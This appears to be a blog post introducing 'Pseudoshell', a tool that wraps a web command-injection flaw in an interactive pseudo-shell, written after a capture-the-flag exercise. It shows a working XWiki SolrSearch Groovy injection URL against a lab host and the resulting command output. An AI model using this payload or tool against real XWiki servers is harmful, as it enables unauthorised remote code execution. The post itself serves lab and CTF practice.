Recently I was doing a CTF which involved sending a requests through a vulnerability in xwiki, I tried my hardest to get a reverse shell but none of my attempts seemed fruitful, so I had to manually edit and send requests
This was quite cumbersome, and this isnt the first occurance where this has happend, so I finally decided to make a tool to make a shell from any website vulnerability
Pseudoshell is a interactive shell that makes the cumbersome task of manaully entering commands in url and form data to get RCE, and automates it
❯ python3 pseudoshell.py --wizardWelcome to the pseudo shell wizard, here we will help you set up your shell
When answering the following questions, please enter ^COMMAND^ at the place you want your command injectedThe ^COMMAND^ will then be replaced by your command when sending itRight lets begin!
What is the url: http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22^COMMAND^%22%2Eexecute%28%29%2Etext%29%3B%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7DWhat method is the request: GETWhat is the start extractor: RSS feed for search on [What is the end extractor: ]</title>Are there more extractors (Y/N): nWelcome to psuedoshell (Press Ctrl+C to exit)
> ls -latotal 72drwxr-xr-x 5 root root 4096 Jul 29 11:48 .drwxr-xr-x 91 root root 4096 Jul 29 11:55 ..drwxr-xr-x 6 root root 4096 Jul 29 11:48 jettylrwxrwxrwx 1 root root 14 Mar 27 2024 logs -> /var/log/xwikidrwxr-xr-x 2 root root 4096 Jul 29 11:48 start.d-rw-r<del>r</del> 1 root root 5551 Mar 27 2024 start_xwiki.bat-rw-r<del>r</del> 1 root root 6223 Mar 27 2024 start_xwiki_debug.bat-rw-r<del>r</del> 1 root root 10530 Mar 27 2024 start_xwiki_debug.sh-rw-r<del>r</del> 1 root root 9340 Mar 27 2024 start_xwiki.sh-rw-r<del>r</del> 1 root root 2486 Mar 27 2024 stop_xwiki.bat-rw-r<del>r</del> 1 root root 6749 Mar 27 2024 stop_xwiki.shdrwxr-xr-x 3 root root 4096 Jun 13 17:08 webapps> whoamixwiki> iduid=997(xwiki) gid=997(xwiki) groups=997(xwiki)>While it looks like a shell, each of these commands are sent indiviually and the result is stripped of noise by the defined extractors. It also supports history
> ls -latotal 24drwxrwxr-x 3 nick nick 4096 Dec 4 21:35 .drwxrwxr-x 5 nick nick 4096 Dec 4 16:39 ..-rw-rw-r-- 1 nick nick 107 Dec 4 16:12 encoders.py-rw-rw-r-- 1 nick nick 7206 Dec 4 21:35 pseudoshell.pydrwxrwxr-x 2 nick nick 4096 Dec 4 16:13 __pycache__-rw-rw-r-- 1 nick nick 0 Dec 4 12:01 smartcommands.py> echo "hello"hello> pwd/home/<hidden>/pseudoshell/src> history dumpls -laecho hellopwd>You can go back and forth in history using up and down arrows, and you can dump history with history dump (which translates to an echo of all the history) and clear history with history clear
While the shell is fairly minimal at the moment, it should improve, as it saves a lot of time manually entering the commands in the url and having parse the response manually